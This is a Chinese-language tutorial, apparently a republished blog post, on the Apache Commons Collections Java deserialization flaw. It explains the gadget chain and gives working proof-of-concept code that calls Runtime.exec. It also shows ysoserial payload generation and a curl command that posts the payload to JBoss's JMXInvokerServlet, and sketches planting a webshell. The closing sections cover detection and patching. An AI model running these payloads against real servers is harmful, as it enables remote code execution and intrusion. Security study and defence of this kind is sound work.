Java反序列化漏洞分析

  2015年11月6日FoxGlove Security安全团队的@breenmachine 发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。而在将近10个月前, Gabriel Lawrence 和Chris Frohoff 就已经在AppSecCali上的一个报告里提到了这个漏洞利用思路。 

  目前,针对这个"2015年最被低估"的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理。但是网络上仍有大量网站受此漏洞影响。


认识Java序列化与反序列化

0|1定义:

  序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程
  反序列化即逆过程,由字节流还原成对象
  注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

用途: 

  1) 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
  2) 在网络上传送对象的字节序列。

 应用场景:

  1) 一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不会丢失,实现永久化保存。

  2) 在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。

    比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

  例子: 淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消。这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存。


Java中的API实现: 

  位置: Java.io.ObjectOutputStream   java.io.ObjectInputStream

  序列化:  ObjectOutputStream类 --> writeObject()

        注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中

          按Java的标准约定是给文件一个.ser扩展名

  反序列化: ObjectInputStream类 --> readObject()   

         注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

简单测试代码:


import java.io.*; /* import java.io.ObjectOutputStream; import java.io.ObjectInputStream; import java.io.FileOutputStream; import java.io.FileInputStream; */ public class Java_Test{ public static void main(String args[]) throws Exception { String obj = "ls "; // 将序列化对象写入文件object.txt中 FileOutputStream fos = new FileOutputStream("aa.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close(); // 从文件object.txt中读取数据 FileInputStream fis = new FileInputStream("aa.ser"); ObjectInputStream ois = new ObjectInputStream(fis); // 通过反序列化恢复对象obj String obj2 = (String)ois.readObject(); System.out.println(obj2); ois.close(); } }

  我们可以看到,先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调ObjectInputStream类的readObject方法反序列化数据并打印数据内容。

  实现Serializable和Externalizable接口的类的对象才能被序列化。

  Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式 。
  对象序列化包括如下步骤:
  1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
  2) 通过对象输出流的writeObject()方法写对象。

  对象反序列化的步骤如下:
  1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
  2) 通过对象输入流的readObject()方法读取对象。

代码实例

  我们创建一个Person接口,然后写两个方法:     序列化方法: 创建一个Person实例,调用函数为其三个成员变量赋值,通过writeObject方法把该对象序列化,写入Person.txt文件中     反序列化方法:调用readObject方法,返回一个经过饭序列化处理的对象   在测试主类里面,我们先序列化Person实例对象,然后又反序列化该对象,最后调用函数获取各个成员变量的值。

测试代码如下:

import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.text.MessageFormat; import java.io.Serializable; class Person implements Serializable { /** * 序列化ID */ private static final long serialVersionUID = -5809782578272943999L; private int age; private String name; private String sex; public int getAge() { return age; } public String getName() { return name; } public String getSex() { return sex; } public void setAge(int age) { this.age = age; } public void setName(String name) { this.name = name; } public void setSex(String sex) { this.sex = sex; } } /** * <p>ClassName: SerializeAndDeserialize<p> * <p>Description: 测试对象的序列化和反序列<p> */ public class SerializeDeserialize_readObject { public static void main(String[] args) throws Exception { SerializePerson();//序列化Person对象 Person p = DeserializePerson();//反序列Perons对象 System.out.println(MessageFormat.format("name={0},age={1},sex={2}", p.getName(), p.getAge(), p.getSex())); } /** * MethodName: SerializePerson * Description: 序列化Person对象 */ private static void SerializePerson() throws FileNotFoundException, IOException { Person person = new Person(); person.setName("ssooking"); person.setAge(20); person.setSex("男"); // ObjectOutputStream 对象输出流,将Person对象存储到Person.txt文件中,完成对Person对象的序列化操作 ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream( new File("Person.txt"))); oo.writeObject(person); System.out.println("Person对象序列化成功!"); oo.close(); } /** * MethodName: DeserializePerson * Description: 反序列Perons对象 */ private static Person DeserializePerson() throws Exception, IOException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt"))); /* FileInputStream fis = new FileInputStream("Person.txt"); ObjectInputStream ois = new ObjectInputStream(fis); */ Person person = (Person) ois.readObject(); System.out.println("Person对象反序列化成功!"); return person; } }


 漏洞是怎么来的呢?

  我们既然已经知道了序列化与反序列化的过程,那么如果反序列化的时候,这些即将被反序列化的数据是我们特殊构造的呢!

  如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。


 漏洞分析

从Apache Commons Collections说起

项目地址 官网:    http://commons.apache.org/proper/commons-collections/ Github:  https://github.com/apache/commons-collections

   由于对java序列化/反序列化的需求,开发过程中常使用一些公共库。

   Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。它包含有很多jar工具包如下图所示,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

  org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。

  

 

  作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。 

   Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。

JAVA反射机制 在运行状态中:       对于任意一个类,都能够判断一个对象所属的类;       对于任意一个类,都能够知道这个类的所有属性和方法;       对于任意一个对象,都能够调用它的任意一个方法和属性; 这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

   这里涉及到了很多概念,不要着急,接下来我们就来详细的分析一下。


 POC构造

  经过对前面序列与反序列化的了解,我们蠢蠢欲动。那么怎样利用这个漏洞呢?

  一丁点儿思路:

    构造一个对象 —— 反序列化 —— 提交数据

  OK? 我们现在遇到的关键问题是: 什么样对象符合条件?如何执行命令?怎样让它在被反序列化的时候执行命令?

  首先,我们可以知道,要想在java中调用外部命令,可以使用这个函数 Runtime.getRuntime().exec(),然而,我们现在需要先找到一个对象,可以存储并在特定情况下执行我们的命令。

(1)Map类 --> TransformedMap

  Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。

  至于会进行怎样的操作或变换,这是由我们提前设定的,这个叫做transform。等会我们就来了解一下transform。

  我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。 第一个参数为待转化的Map对象 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空) 第三个参数为Map对象内的value要经过的转化方法

(2)Transformer接口 

Defines a functor interface implemented by classes that transform one object into another. 作用:接口于Transformer的类都具备把一个对象转化为另一个对象的功能

transform的源代码

 我们可以看到该类接收一个对象,获取该对象的名称,然后调用了一个invoke反射方法。另外,多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。

下面是一些实现Transformer接口的类,箭头标注的是我们会用到的。

 

ConstantTransformer 把一个对象转化为常量,并返回。 InvokerTransformer 通过反射,返回一个对象 ChainedTransformer ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer

  Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:

public class InvokerTransformer implements Transformer, Serializable { ... /* Input参数为要进行反射的对象, iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型 iArgs为对应方法的参数 在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数 */ public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } }

只需要传入方法名、参数类型和参数,即可调用任意函数。

  在这里,我们可以看到,先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令""。依次调用关系为: Runtime --> getRuntime --> exec()

  因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

  再理一遍:

  1)构造一个Map和一个能够执行代码的ChainedTransformer,   2)生成一个TransformedMap实例   3)利用MapEntry的setValue()函数对TransformedMap中的键值进行修改   4)触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换

知识补充

Map是java中的接口,Map.Entry是Map的一个内部接口。 Map提供了一些常用方法,如keySet()、entrySet()等方法。 keySet()方法返回值是Map中key值的集合; entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry。 Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。 接口中有getKey(),getValue方法,可以用来对集合中的元素进行修改

我们可以实现这个思路

public static void main(String[] args) throws Exception { //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})}; //首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new hashMap(); innerMap.put("1", "zhang"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发Map中的MapEntry产生修改(例如setValue()函数 Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar"); /*代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数: 首先通过ConstantTransformer获得Runtime类 进一步通过反射调用getMethod找到invoke函数 最后再运行命令calc.exe。 */ }

思考

目前的构造还需要依赖于Map中某一项去调用setValue() 怎样才能在调用readObject()方法时直接触发执行呢?

更近一步

  我们知道,如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,我么就可以实现攻击目标。

  于是,我们开始寻寻觅觅,终于,我们找到了~

  AnnotationInvocationHandler类

这个类有一个成员变量memberValues是Map类型 更棒的是,AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数对value值进行一些变换。

  这个类完全符合我们的要求,那么,我们的思路就非常清晰了

  1)首先构造一个Map和一个能够执行代码的ChainedTransformer,   2)生成一个TransformedMap实例   3)实例化AnnotationInvocationHandler,并对其进行序列化,   4)当触发readObject()反序列化的时候,就能实现命令执行。

  POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发

我们回顾下所有用到的技术细节

(1)java方法重写:如果一个类的方法被重写,那么调用该方法时优先调用该方法 (2)JAVA反射机制:在运行状态中              对于任意一个类,都能够判断一个对象所属的类;              对于任意一个类,都能够知道这个类的所有属性和方法;              对于任意一个对象,都能够调用它的任意一个方法和属性; (3)认识关键类与函数 TransformedMap : 利用其value修改时触发transform()的特性 ChainedTransformer: 会挨个执行我们定义的Transformer Transformer: 存放我们要执行的命令 AnnotationInvocationHandler:对memberValues的每一项调用了setValue()函数

具体实现

import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class POC_Test{ public static void main(String[] args) throws Exception { //execArgs: 待执行的命令数组 //String[] execArgs = new String[] { "sh", "-c", "whoami &gt; /tmp/fuck" }; //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), /* 由于Method类的invoke(Object obj,Object args[])方法的定义 所以在反射内写new Class[] {Object.class, Object[].class } 正常POC流程举例: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); */ new InvokerTransformer( "getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] {Object.class,Object[].class }, new Object[] {null, null } ), new InvokerTransformer( "exec", new Class[] {String[].class }, new Object[] { "whoami" } //new Object[] { execArgs } ) }; //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作 Transformer transformedChain = new ChainedTransformer(transformers); //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict //Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;(); Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); BeforeTransformerMap.put("hello", "hello"); //Map数据结构,转换后的Map /* TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。 第一个参数为待转化的Map对象 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空) 第三个参数为Map对象内的value要经过的转化方法。 */ //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null)); Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, AfterTransformerMap); File f = new File("temp.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); } } /* 思路:构建BeforeTransformerMap的键值对,为其赋值, 利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme 对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行 执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........) 利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec() */


漏洞挖掘 

1.漏洞触发场景 在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:   1)HTTP请求中的参数,cookies以及Parameters。   2)RMI协议,被广泛使用的RMI协议完全基于序列化   4)JMX 同样用于处理序列化对象   5)自定义协议 用来接收与发送原始的java对象 2. 漏洞挖掘   (1)确定反序列化输入点     首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:      1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。    2)对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等     注: java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。   (2)再考察应用的Class Path中是否包含Apache Commons Collections库   (3)生成反序列化的payload   (4)提交我们的payload数据

相关工具

  ysoserial是一个用我们刚才的思路生成序列化payload数据的工具。当中针对Apache Commons Collections 3的payload也是基于TransformedMapInvokerTransformer来构造的,然而在触发时,并没有采用上文介绍的AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相关代码来实现触发。此处不再做深入分析,有兴趣的读者可以参考ysoserial的源码。

获取方法 去github上下载jar发行版:https://github.com/frohoff/ysoserial/releases wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar 或者自行编译: git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests

相关Tool链接

  GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

  https://github.com/CaledoniaProject/jenkins-cli-exploit 

  GitHub - foxglovesec/JavaUnserializeExploits

ysoserial

去github上下载jar发行版:https://github.com/frohoff/ysoserial/releases

或者自行编译: git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests 没有mvn的话需要先安装:sudo apt-get install maven


实际漏洞环境测试

JBOSS JBoss是一个管理和运行EJB项目的容器和服务器 Enterprise JavaBean (EJB)规范定义了开发和部署基于事务性、分布式对象应用程序的服务器端软件组件的体系结构。 企业组织可以构建它们自己的组件,或从第三方供应商购买组件。 这些服务器端组件称作 Enterprise Bean,它们是 Enterprise JavaBean 容器中驻留的分布式对象,为分布在网络中的客户机提供远程服务。

实际测试版本

Jboss6.1 Download: http://jbossas.jboss.org/downloads/ Unzip: unzip jboss-as-7.1.1.Final.zip 修改配置文件,修改默认访问端口,设置外部可访问 vi /server/default/deploy/jbossweb.sar/server.xml

运行服务 iptables -I INPUT -p tcp --dport 80 -j ACCEPT sh jbosspath/bin/run.sh -b 0.0.0.0         关闭服务器 sh jbosspath/bin/shutdown.sh -S 测试 http://ip:8080 http://ip:8080/web-console

 补充:CentOS默认开启了防火墙,所以80端口是不能正常访问的),输入命令:
 iptables -I INPUT -p tcp --dport 80 -j ACCEPT

  这里以Jboss为例。Jboss利用的是HTTP协议,可以在任何端口上运行,默认安装在8080端口中。

  Jboss与“JMXInvokerServlet”的通信过程中存在一个公开漏洞。JMX是一个java的管理协议,在Jboss中的JMXInvokerServlet可以使用HTTP协议与其进行通话。这一通信功能依赖于java的序列化类。在默认安装的Jboss中,JMXInvokerServlet的路径恰好为http://localhost:8080/invoker/JMXInvokerServlet。

  如果用户访问一个该url,实际上会返回一个原始的java对象,这种行为显然存在一个漏洞。但由于jmxinvokerservlet与主要的Web应用程序在同一个端口上运行,因此它很少被防火墙所拦截这个漏洞可以很经常的通过互联网被利用。

  因此,可以以jmx作为Jboss接受外部输入的点,可以利用java HTTP client包构建POST请求,post请求包中数据为使用ysoserial处理之后的构建代码

通常的测试可以使用的命令

搜索匹配"readObject"靶点    grep -nr "readObject" * 测试是否含该漏洞的jar包文件 grep -R InvokerTransformer 生成序列化payload数据 java -jar ysoserial-0.0.4-all.jar CommonsCollections1 '想要执行的命令' > payload.out 提交payload数据   curl --header 'Content-Type: application/x-java-serialized-object; class="org".jboss.invocation.MarshalledValue' --data-binary '@payload.out' http://ip:8080/invoker/JMXInvokerServlet

exploit例子 java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'echo 1 > /tmp/pwned' > payload curl --header 'Content-Type: application/x-java-serialized-object; class="org".jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet

我们提交payload数据时,可以抓取数据包进行分析,看起来大概像这个样子(图片不是自己环境测试中的)


总结

漏洞分析   引发:如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。      原因: 类ObjectInputStream在反序列化时,没有对生成的对象的输入做限制,使攻击者利用反射调用函数进行任意命令执行。      CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法      根源:Apache Commons Collections允许链式的任意的类函数反射调用      问题函数:org.apache.commons.collections.Transformer接口   利用:要利用Java反序列化漏洞,需要在进行反序列化的地方传入攻击者的序列化代码。   思路:攻击者通过允许Java序列化协议的端口,把序列化的攻击代码上传到服务器上,再由Apache Commons Collections里的TransformedMap来执行。   至于如何使用这个漏洞对系统发起攻击,举一个简单的思路,通过本地java程序将一个带有后门漏洞的jsp(一般来说这个jsp里的代码会是文件上传和网页版的SHELL)序列化, 将序列化后的二进制流发送给有这个漏洞的服务器,服务器会反序列化该数据的并生成一个webshell文件,然后就可以直接访问这个生成的webshell文件进行进一步利用。 

 启发

开发者:   为了确保序列化的安全性,可以对于一些敏感信息加密;   确保对象的成员变量符合正确的约束条件;   确保需要优化序列化的性能。 漏洞挖掘:   (1)通过代码审计/行为分析等手段发现漏洞所在靶点   (2)进行POC分析构造时可以利用逆推法


漏洞修补

Java反序列化漏洞的快速排查和修复方案 目前打包有apache commons collections库并且应用比较广泛的主要组件有Jenkins WebLogic Jboss WebSphere OpenNMS。 其中Jenkins由于功能需要大都直接暴露给公网。 首先确认产品中是否包含上述5种组件 使用grep命令或者其他相关搜索命令检测上述组件安装目录是否包含库Apache Commons Collections。搜索下列jar。 commons-collections.jar *.commons-collections.jar apache.commons.collections.jar *.commons-collections.*.jar 如果包含请参考下述解决方案进行修复。

通用解决方案 更新Apache Commons Collections库   Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。 NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller   lib地址:https://github.com/ikkisoft/SerialKiller   下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller   之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

  严格意义说起来,Java相对来说安全性问题比较少,出现的一些问题大部分是利用反射,最终用Runtime.exec(String cmd)函数来执行外部命令的。

  如果可以禁止JVM执行外部命令,未知漏洞的危害性会大大降低,可以大大提高JVM的安全性。比如:

SecurityManager originalSecurityManager = System.getSecurityManager(); if (originalSecurityManager == null) { // 创建自己的SecurityManager SecurityManager sm = new SecurityManager() { private void check(Permission perm) { // 禁止exec if (perm instanceof java.io.FilePermission) { String actions = perm.getActions(); if (actions != null &amp;&amp; actions.contains("execute")) { throw new SecurityException("execute denied!"); } } // 禁止设置新的SecurityManager if (perm instanceof java.lang.RuntimePermission) { String name = perm.getName(); if (name != null &amp;&amp; name.contains("setSecurityManager")) { throw new SecurityException( "System.setSecurityManager denied!"); } } } @Override public void checkPermission(Permission perm) { check(perm); } @Override public void checkPermission(Permission perm, Object context) { check(perm); } }; System.setSecurityManager(sm); }

  如上所示,只要在Java代码里简单加一段程序,就可以禁止执行外部程序了。 

  禁止JVM执行外部命令,是一个简单有效的提高JVM安全性的办法。可以考虑在代码安全扫描时,加强对Runtime.exec相关代码的检测。

针对其他的Web Application的修复

Weblogic 影响版本:Oracle WebLogic Server, 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 版本。 临时解决方案 1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类; 2 在不影响业务的情况下,临时删除掉项目里的 “org/apache/commons/collections/functors/InvokerTransformer.class” 文件; 官方解决方案 官方声明: http://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html Weblogic 用户将收到官方的修复支持 Jboss

临时解决方案 1 删除 commons-collections jar 中的 InvokerTransformer, InstantiateFactory, 和InstantiateTransfromer class 文件 官方解决方案 https://issues.apache.org/jira/browse/COLLECTIONS-580 https://access.redhat.com/solutions/2045023 jenkins 临时解决方案   1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类;   2 在不影响业务的情况下,临时删除掉项目里的“org/apache/commons/collections/functors/InvokerTransformer.class” 文件; 官方解决方案: Jenkins 发布了 安全公告 ,并且在1.638版本中修复了这个漏洞。 官方的补丁声明链接: https://jenkins-ci.org/content/mitigating-unauthenticated-remote-code-execution-0-day-jenkins-cli https://github.com/jenkinsci-cert/SECURITY-218 websphere   Version8.0,Version7.0,Version8.5 and 8.5.5 Full Profile and Liberty Profile 临时解决方案 1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类; 2 在不影响业务的情况下,临时删除掉项目里的“org/apache/commons/collections/functors/InvokerTransformer.class” 文件

在服务器上找org/apache/commons/collections/functors/InvokerTransformer.class类的jar,目前weblogic10以后都在Oracle/Middleware/modules下     com.bea.core.apache.commons.collections_3.2.0.jar,创建临时目录tt,解压之后删除InvokerTransformer.class类后 再改成com.bea.core.apache.commons.collections_3.2.0.jar 覆盖Oracle/Middleware/modules下,重启所有服务。如下步骤是linux详细操作方法: A)mkdir tt B)cp -r Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar ./tt C)jar xf Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar D)cd org/apache/commons/collections/functors E)rm -rf InvokerTransformer.class F)jar cf com.bea.core.apache.commons.collections_3.2.0.jar org/* META-INF/* G)mv com.bea.core.apache.commons.collections_3.2.0.jar Oracle/Middleware/modules/ H)重启服务 重启服务时候要删除server-name下的cache和tmp 例如rm -rf ~/user_projects/domains/base_domain/servers/AdminServer/cache rm -rf  ~/user_projects/domains/base_domain/servers/AdminServer/tmp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/939183.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

前端项目部署方法

ngnix服务器部署 下载nignx&#xff0c;我下的是windows版本的 下载链接&#xff1a;[https://nginx.org/en/download.html](https://nginx.org/en/download.html) 解压文件 如果原本的80端口号被占用了&#xff0c;可以改为其他的端口号 可以点击nginx.exe文件启动nginx,它可能…

Reactor 响应式编程(第二篇:Spring Webflux)

系列文章目录 Reactor 响应式编程&#xff08;第一篇&#xff1a;Reactor核心&#xff09; Reactor 响应式编程&#xff08;第二篇&#xff1a;Spring Webflux&#xff09; Reactor 响应式编程&#xff08;第三篇&#xff1a;R2DBC&#xff09; Reactor 响应式编程&#xff08…

实验12 socket网络编程

设计程序 1&#xff0e;阅读TCP、UDP数据通信的例子8-2、8-7&#xff0c;理解并运行查看其功能。 2. 编写程序&#xff0c;使用socket网络接口函数&#xff0c;实现同一网段的两台主机的聊天。注&#xff1a;使用多线程&#xff0c;实现实时聊天功能。&#xff08;使用UDP或TCP…

leetcode二叉搜索树部分笔记

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 二叉搜索树 1. 二叉搜索树的最小绝对差2. 二叉搜索树中第 K 小的元素3. 验证二叉搜索树 1. 二叉搜索树的最小绝对差 给你一个二叉搜索树的根节点 root &#xff0c;返回 树中…

论文学习—VAE

VAE----Auto-Encoding Variational Bayes 2024年12月17日-2024年12月18日摘要引言方法例子&#xff1a;变分自动编码器 2024年12月17日-2024年12月18日 从今天开始&#xff0c;我准备记录自己学习的内容以此来检验我每天的学习量&#xff0c;菜鸡一枚&#xff0c;希望能够与大…

Go语言后台实现选中式导出excel文件

实现选中导出为excel文件的基本实现方案是前端将选中的数据传递给后端&#xff0c;后台接受这些数据生成excel文件的流&#xff0c;将流返回给前端并在响应体设置文件的格式。 这时只要将需要下载的数据提交到改接口就会返回文件流数据&#xff0c;提供下载。具体实现代码如下&…

大模型微调---Prompt-tuning微调

目录 一、前言二、Prompt-tuning实战2.1、下载模型到本地2.2、加载模型与数据集2.3、处理数据2.4、Prompt-tuning微调2.5、训练参数配置2.6、开始训练 三、模型评估四、完整训练代码 一、前言 Prompt-tuning通过修改输入文本的提示&#xff08;Prompt&#xff09;来引导模型生…

spring学习(spring-bean实例化(实现FactoryBean规范)(延迟实例化bean))

目录 一、spring容器实例化bean的几种方式。 &#xff08;1&#xff09;无参构造与有参构造方法。 &#xff08;2&#xff09;静态工厂与实例工厂。 &#xff08;3&#xff09;实现FactoryBean规范。 二、spring容器使用实现FactoryBean规范方式实现bean实例化。 &#xff08;1…

【Java】mac安装Java17(JDK17)

